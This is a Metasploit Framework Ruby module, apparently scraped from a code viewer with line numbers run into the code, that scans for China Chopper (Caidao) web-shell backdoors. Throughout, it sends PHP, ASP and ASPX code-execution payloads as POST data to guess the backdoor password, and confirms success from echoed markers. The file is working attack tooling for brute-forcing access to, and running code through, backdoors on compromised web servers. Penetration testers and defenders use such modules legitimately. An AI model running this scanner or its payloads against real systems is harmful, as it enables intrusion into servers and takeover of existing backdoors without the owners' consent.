Path: blob/master/lib/metasploit/framework/login_scanner/caidao.rb
32598 views
require 'metasploit/framework/login_scanner/http'12module Metasploit3module Framework4module LoginScanner56# Chinese Caidao login scanner7class Caidao < HTTP8# Inherit LIKELY_PORTS, LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP9DEFAULT_PORT = 8010PRIVATE_TYPES = [ :password ]11LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name1213# Checks if the target is correct14#15# @return [false] Indicates there were no errors16# @return [String] a human-readable error message describing why17# this scanner can't run18def check_setup19@flag ||= Rex::Text.rand_text_alphanumeric(4)20@lmark ||= Rex::Text.rand_text_alphanumeric(4)21@rmark ||= Rex::Text.rand_text_alphanumeric(4)2223case uri24when /php$/mi25@payload = "$_=\"#{@flag}\";echo \"#{@lmark}\".$_.\"#{@rmark}\";"26return false27when /asp$/mi28@payload = 'execute("response.write(""'29@payload << "#{@lmark}"30@payload << '""):response.write(""'31@payload << "#{@flag}"32@payload << '""):response.write(""'33@payload << "#{@rmark}"34@payload << '""):response.end")'35return false36when /aspx$/mi37@payload = "Response.Write(\"#{@lmark}\");"38@payload << "Response.Write(\"#{@flag}\");"39@payload << "Response.Write(\"#{@rmark}\")"40return false41end42"Unable to locate target extension in uri. (Is this really caidao?)"43end4445def set_sane_defaults46self.method = "POST" if self.method.nil?47super48end4950# Actually doing the login. Called by #attempt_login51#52# @param username [String] The username to try53# @param password [String] The password to try54# @return [Hash]55# * :status [Metasploit::Model::Login::Status]56# * :proof [String] the HTTP response body57def try_login(username, password)58res = send_request(59'method' => method,60'uri' => uri,61'data' => "#{password}=#{@payload}"62)6364unless res65return { :status => LOGIN_STATUS::UNABLE_TO_CONNECT, :proof => res.to_s }66end6768if res && res.code == 200 && res.body.to_s.include?("#{@lmark}#{@flag}#{@rmark}")69return { :status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.to_s }70end7172{ :status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.to_s }73end7475# Attempts to login to Caidao Backdoor. This is called first.76#77# @param credential [Metasploit::Framework::Credential] The credential object78# @return [Result] A Result object indicating success or failure79def attempt_login(credential)80result_opts = {81credential: credential,82status: Metasploit::Model::Login::Status::INCORRECT,83proof: nil,84host: host,85port: port,86protocol: 'tcp'87}8889if ssl90result_opts[:service_name] = 'https'91else92result_opts[:service_name] = 'http'93end9495begin96result_opts.merge!(try_login(credential.public, credential.private))97rescue ::Rex::ConnectionError => e98result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)99end100Result.new(result_opts)101end102end103end104end105end106107108